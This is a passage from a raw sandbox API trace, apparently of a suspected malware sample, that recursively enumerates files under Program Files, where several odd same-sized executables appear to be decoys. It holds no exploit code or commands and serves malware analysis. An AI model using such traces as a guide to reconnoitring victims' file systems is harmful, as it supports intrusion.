ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8eed9d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x579d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="updater.exe", cAlternateFileName="")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec64ff52, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec64ff52, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0290.614] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec64ff52, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec64ff52, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x93608900, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x15750, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0290.615] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6761b2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec6761b2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ad95f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x3e7cbd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="xul.dll", cAlternateFileName="")) returned 1 [0290.615] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6761b2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec6761b2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ad95f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x3e7cbd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="xul.dll", cAlternateFileName="")) returned 0 [0290.615] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0290.615] GetProcessHeap () returned 0xaf0000 [0290.615] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0290.615] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0290.615] GetProcessHeap () returned 0xaf0000 [0290.615] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0290.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0290.616] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0290.616] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dbc8530, ftCreationTime.dwHighDateTime=0x1d5e3aa, ftLastAccessTime.dwLowDateTime=0x3a968480, ftLastAccessTime.dwHighDateTime=0x1d5b494, ftLastWriteTime.dwLowDateTime=0x3a968480, ftLastWriteTime.dwHighDateTime=0x1d5b494, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="demonstrated.exe", cAlternateFileName="DEMONS~1.EXE")) returned 1 [0290.616] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75c4a4a0, ftCreationTime.dwHighDateTime=0x1d5bbd4, ftLastAccessTime.dwLowDateTime=0x3d4d8ff0, ftLastAccessTime.dwHighDateTime=0x1d5b2ac, ftLastWriteTime.dwLowDateTime=0x3d4d8ff0, ftLastWriteTime.dwHighDateTime=0x1d5b2ac, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0290.616] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0290.616] GetProcessHeap () returned 0xaf0000 [0290.616] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0290.617] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.617] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0290.617] GetProcessHeap () returned 0xaf0000 [0290.617] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0290.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.617] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.617] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0290.617] GetProcessHeap () returned 0xaf0000 [0290.618] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0290.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0290.618] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.618] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e47081, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0290.618] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0290.619] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0290.619] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0290.619] GetProcessHeap () returned 0xaf0000 [0290.619] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0290.619] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0290.619] GetProcessHeap () returned 0xaf0000 [0290.619] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0290.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0290.619] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.619] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0290.619] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0290.619] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0290.620] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0290.620] GetProcessHeap () returned 0xaf0000 [0290.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0290.620] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0290.620] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.620] GetProcessHeap () returned 0xaf0000 [0290.620] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0290.620] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0290.620] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0290.621] GetProcessHeap () returned 0xaf0000 [0290.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.621] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c0391a0, ftCreationTime.dwHighDateTime=0x1d5c9ba, ftLastAccessTime.dwLowDateTime=0x1f303280, ftLastAccessTime.dwHighDateTime=0x1d5e4ba, ftLastWriteTime.dwLowDateTime=0x1f303280, ftLastWriteTime.dwHighDateTime=0x1d5e4ba, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0290.621] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97657af0, ftCreationTime.dwHighDateTime=0x1d5d55e, ftLastAccessTime.dwLowDateTime=0xba71b240, ftLastAccessTime.dwHighDateTime=0x1d5ac67, ftLastWriteTime.dwLowDateTime=0xba71b240, ftLastWriteTime.dwHighDateTime=0x1d5ac67, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0290.621] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97657af0, ftCreationTime.dwHighDateTime=0x1d5d55e, ftLastAccessTime.dwLowDateTime=0xba71b240, ftLastAccessTime.dwHighDateTime=0x1d5ac67, ftLastWriteTime.dwLowDateTime=0xba71b240, ftLastWriteTime.dwHighDateTime=0x1d5ac67, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="spcwin.exe", cAlternateFileName="")) returned 0 [0290.621] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0290.621] GetProcessHeap () returned 0xaf0000 [0290.621] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0290.622] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0290.622] GetProcessHeap () returned 0xaf0000 [0290.622] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0290.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0290.622] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0290.622] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c572b60, ftCreationTime.dwHighDateTime=0x1d59d0f, ftLastAccessTime.dwLowDateTime=0xd5b03540, ftLastAccessTime.dwHighDateTime=0x1d5ab86, ftLastWriteTime.dwLowDateTime=0xd5b03540, ftLastWriteTime.dwHighDateTime=0x1d5ab86, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0290.622] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0290.623] GetProcessHeap () returned 0xaf0000 [0290.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0290.623] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.623] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0290.623] GetProcessHeap () returned 0xaf0000 [0290.623] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0290.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, 